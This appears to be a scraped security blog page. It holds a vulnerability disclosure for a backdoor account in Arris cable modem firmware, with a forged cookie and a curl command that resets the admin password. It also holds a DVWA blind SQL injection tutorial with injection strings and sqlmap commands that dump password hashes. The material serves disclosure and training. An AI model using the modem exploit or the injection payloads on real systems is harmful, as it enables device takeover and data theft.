Rev8Grace: August 2020

Sunday, August 30, 2020

Arris Cable Modem Backdoor - I'm A Technician, Trust Me.

Vendor backdoors are the worst. Sloppy coding leading to unintentional "bugdoors" is somewhat defendable, but flat out backdoors are always unacceptable. Todays example is brought to you by Arris. A great quote from their site -

Subscribers want their internet to be two things, fast and worry free. Cable operators deploy services to meet the speed expectations, and trust ARRIS to provide the cable modems that deliver the reliability.

Nothing spells "trust" and "worry free" like a backdoor account, right?! Anyways, the following was observed on an Arris TG862G cable modem running the following firmware version -TS070563_092012_MODEL_862_GW

After successfully providing the correct login and password to the modems administration page, the following cookie is set (client side):

Cookie: credential=eyJ2YWxpZCI6dHJ1ZSwidGVjaG5pY2lhbiI6ZmFsc2UsImNyZWRlbnRpYWwiOiJZV1J0YVc0NmNHRnpjM2R2Y21RPSIsInByaW1hcnlPbmx5IjpmYWxzZSwiYWNjZXNzIjp7IkFMTCI6dHJ1ZX0sIm5hbWUiOiJhZG1pbiJ9

All requests must have a valid "credential" cookie set (this was not the case in a previous FW release - whoops) if the cookie is not present the modem will reply with "PLEASE LOGIN". The cookie value is just a base64 encoded json object:

{"valid":true,"technician":false,"credential":"YWRtaW46cGFzc3dvcmQ=","primaryOnly":false,"access":{"ALL":true},"name":"admin"}

And after base64 decoding the "credential" value we get:

{"valid":true,"technician":false,"credential":"admin:password","primaryOnly":false,"access":{"ALL":true},"name":"admin"}

Sweet, the device is sending your credentials on every authenticated request (without HTTPS), essentially they have created basic-auth 2.0 - As the kids say "YOLO". The part that stuck out to me is the "technician" value that is set to "false" - swapping it to "true" didn't do anything exciting, but after messing around a bit I found that the following worked wonderfully:

Cookie: credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9

Which decodes to the following:

{"credential":"dGVjaG5pY2lhbjo="}

And finally:

{"credential":"technician:"}

Awesome, the username is "technician" and the password is empty. Trying to log into the interface using these credentials does not work :(

That is fairly odd. I can't think of a reasonable reason for a hidden account that is unable to log into the UI. So what exactly can you do with this account? Well, the web application is basically a html/js wrapper to some CGI that gets/sets SNMP values on the modem. It is worth noting that on previous FW revisions the CGI calls did NOT require any authentication and could be called without providing a valid "credential" cookie. That bug was killed a few years ago at HOPE 9.

Now we can resurrect the ability to set/get SNMP values by setting our "technician" account:

That's neat, but we would much rather be using the a fancy "web 2.0" UI that a normal user is accustomed to, instead of manually setting SNMP values like some sort of neckbearded unix admin. Taking a look at the password change functionality appeared to be a dead end as it requires the previous password to set a new one:

Surprisingly the application does check the value of the old password too! Back to digging around the following was observed in the "mib.js" file:

SysCfg.AdminPassword= new Scalar("AdminPassword","1.3.6.1.4.1.4115.1.20.1.1.5.1",4);

Appears that the OID "1.3.6.1.4.1.4115.1.20.1.1.5.1" holds the value of the "Admin" password! Using the "technician" account to get/walk this OID comes up with nothing:

HTTP/1.1 200 OK
Date: Tue, 23 Sep 2014 19:58:40 GMT
Server: lighttpd/1.4.26-devel-5842M
Content-Length: 55
{
"1.3.6.1.4.1.4115.1.20.1.1.5.1.0":"",
"1":"Finish"
}

What about setting a new value? Surely that will not work....

That response looks hopeful. We can now log in with the password "krad_password" for the "admin" user:

This functionality can be wrapped up in the following curl command:

curl -isk -X 'GET' -b 'credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9' 'http://192.168.100.1:8080/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.5.1.0=krad_password;4;'

Of course if you change the password you wouldn't be very sneaky, a better approach would be re-configuring the modems DNS settings perhaps? It's also worth noting that the SNMP set/get is CSRF'able if you were to catch a user who had recently logged into their modem.

The real pain here is that Arris keeps their FW locked up tightly and only allows Cable operators to download revisions/fixes/updates, so you are at the mercy of your Cable operator, even if Arris decides that its worth the time and effort to patch this ~~bug~~ backdoor - you as the end user CANNOT update your device because the interface doesn't provide that functionality to you! Next level engineering.

Related posts

Iranian Hackers Pose As Journalists To Trick Victims Into Installing Malware

An Iranian cyberespionage group known for targeting government, defense technology, military, and diplomacy sectors is now impersonating journalists to approach targets via LinkedIn and WhatsApp and infect their devices with malware. Detailing the new tactics of the "Charming Kitten" APT group, Israeli firm Clearsky said, "starting July 2020, we have identified a new TTP of the group,

via The Hacker News

Learning Web Pentesting With DVWA Part 3: Blind SQL Injection

In this article we are going to do the SQL Injection (Blind) challenge of DVWA.
OWASP describes Blind SQL Injection as:
"Blind SQL (Structured Query Language) injection is a type of attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.

When an attacker exploits SQL injection, sometimes the web application displays error messages from the database complaining that the SQL Query's syntax is incorrect. Blind SQL injection is nearly identical to normal , the only difference being the way the data is retrieved from the database. When the database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions. This makes exploiting the SQL Injection vulnerability more difficult, but not impossible."

To follow along click on the SQL Injection (Blind) navigation link. You will be presented with a page like this:

Lets first try to enter a valid User ID to see what the response looks like. Enter 1 in the User ID field and click submit. The result should look like this:

Lets call this response as valid response for the ease of reference in the rest of the article. Now lets try to enter an invalid ID to see what the response for that would be. Enter something like 1337 the response would be like this:

We will call this invalid response. Since we know both the valid and invalid response, lets try to attack the app now. We will again start with a single quote (') and see the response. The response we got back is the one which we saw when we entered the wrong User ID. This indicates that our query is either invalid or incomplete. Lets try to add an or statement to our query like this:

' or 1=1-- -

This returns a valid response. Which means our query is complete and executes without errors. Lets try to figure out the size of the query output columns like we did with the sql injection before in Learning Web Pentesting With DVWA Part 2: SQL Injection.
Enter the following in the User ID field:

' or 1=1 order by 1-- -

Again we get a valid response lets increase the number to 2.

' or 1=1 order by 2-- -

We get a valid response again lets go for 3.

' or 1=1 order by 3-- -

We get an invalid response so that confirms the size of query columns (number of columns queried by the server SQL statement) is 2.
Lets try to get some data using the blind sql injection, starting by trying to figure out the version of dbms used by the server like this:

1' and substring(version(), 1,1) = 1-- -

Since we don't see any output we have to extract data character by character. Here we are trying to guess the first character of the string returned by version() function which in my case is 1. You'll notice the output returns a valid response when we enter the query above in the input field.
Lets examine the query a bit to further understand what we are trying to accomplish. We know 1 is the valid user id and it returns a valid response, we append it to the query. Following 1, we use a single quote to end the check string. After the single quote we start to build our own query with the and conditional statement which states that the answer is true if and only if both conditions are true. Since the user id 1 exists we know the first condition of the statement is true. In the second condition, we extract first character from the version() function using the substring() function and compare it with the value of 1 and then comment out the rest of server query. Since first condition is true, if the second condition is true as well we will get a valid response back otherwise we will get an invalid response. Since my the version of mariadb installed by the docker container starts with a 1 we will get a valid response. Lets see if we will get an invalid response if we compare the first character of the string returned by the version() function to 2 like this:

1' and substring(version(),1,1) = 2-- -

And we get the invalid response. To determine the second character of the string returned by the version() function, we will write our query like this:
1' and substring(version(),2,2) = 1-- -
We get invalid response. Changing 1 to 2 then 3 and so on we get invalid response back, then we try 0 and we get a valid response back indicating the second character in the string returned by the version() function is 0. Thus we have got so for 10 as the first two characters of the database version. We can try to get the third and fourth characters of the string but as you can guess it will be time consuming. So its time to automate the boring stuff. We can automate this process in two ways. One is to use our awesome programming skills to write a program that will automate this whole thing. Another way is not to reinvent the wheel and try sqlmap. I am going to show you how to use sqlmap but you can try the first method as well, as an exercise.
Lets use sqlmap to get data from the database. Enter 1 in the User ID field and click submit.
Then copy the URL from the URL bar which should look something like this
http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit
Now open a terminal and type this command:

sqlmap --version

this will print the version of your sqlmap installation otherwise it will give an error indicating the package is not installed on your computer. If its not installed then go ahead and install it.
Now type the following command to get the names of the databases:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id

Here replace the PHPSESSID with your session id which you can get by right clicking on the page and then clicking inspect in your browser (Firefox here). Then click on storage tab and expand cookie to get your PHPSESSID. Also your port for dvwa web app can be different so replace the URL with yours.
The command above uses -u to specify the url to be attacked, --cookie flag specifies the user authentication cookies, and -p is used to specify the parameter of the URL that we are going to attack.
We will now dump the tables of dvwa database using sqlmap like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa --tables

After getting the list of tables its time to dump the columns of users table like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users --columns

And at last we will dump the passwords column of the users table like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users -C password --dump

Now you can see the password hashes.
As you can see automating this blind sqli using sqlmap made it simple. It would have taken us a lot of time to do this stuff manually. That's why in pentests both manual and automated testing is necessary. But its not a good idea to rely on just one of the two rather we should leverage power of both testing types to both understand and exploit the vulnerability.
By the way we could have used something like this to dump all databases and tables using this sqlmap command:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id --dump-all

But obviously it is time and resource consuming so we only extracted what was interested to us rather than dumping all the stuff.
Also we could have used sqlmap in the simple sql injection that we did in the previous article. As an exercise redo the SQL Injection challenge using sqlmap.

References:

1. Blind SQL Injection: https://owasp.org/www-community/attacks/Blind_SQL_Injection
2. sqlmap: http://sqlmap.org/
3. MySQL SUBSTRING() Function: https://www.w3schools.com/sql/func_mysql_substring.asp

Saturday, August 29, 2020

WHO IS ETHICAL HACKER

Who is hacker?
A hacker is a Creative person and a creative Programmer,who have knowledge about Networking,Operating system,hacking & a best creative social engineer who control anyone's mind he is also a knowledgeable person.

Hacker are the problem solver and tool builder.

A hacker is an individual who uses computer, networking and other skills to overcome a technical problem but it often refers to a person who uses his or her abilities to gain unauthorized access to system or networks in order to commit crimes.

Rev8Grace

Sunday, August 30, 2020

Arris Cable Modem Backdoor - I'm A Technician, Trust Me.

Iranian Hackers Pose As Journalists To Trick Victims Into Installing Malware

Related news

Learning Web Pentesting With DVWA Part 3: Blind SQL Injection

References:

Related posts

Saturday, August 29, 2020

WHO IS ETHICAL HACKER

Continue reading

Facebook Badge

About Me

Blog Archive

Followers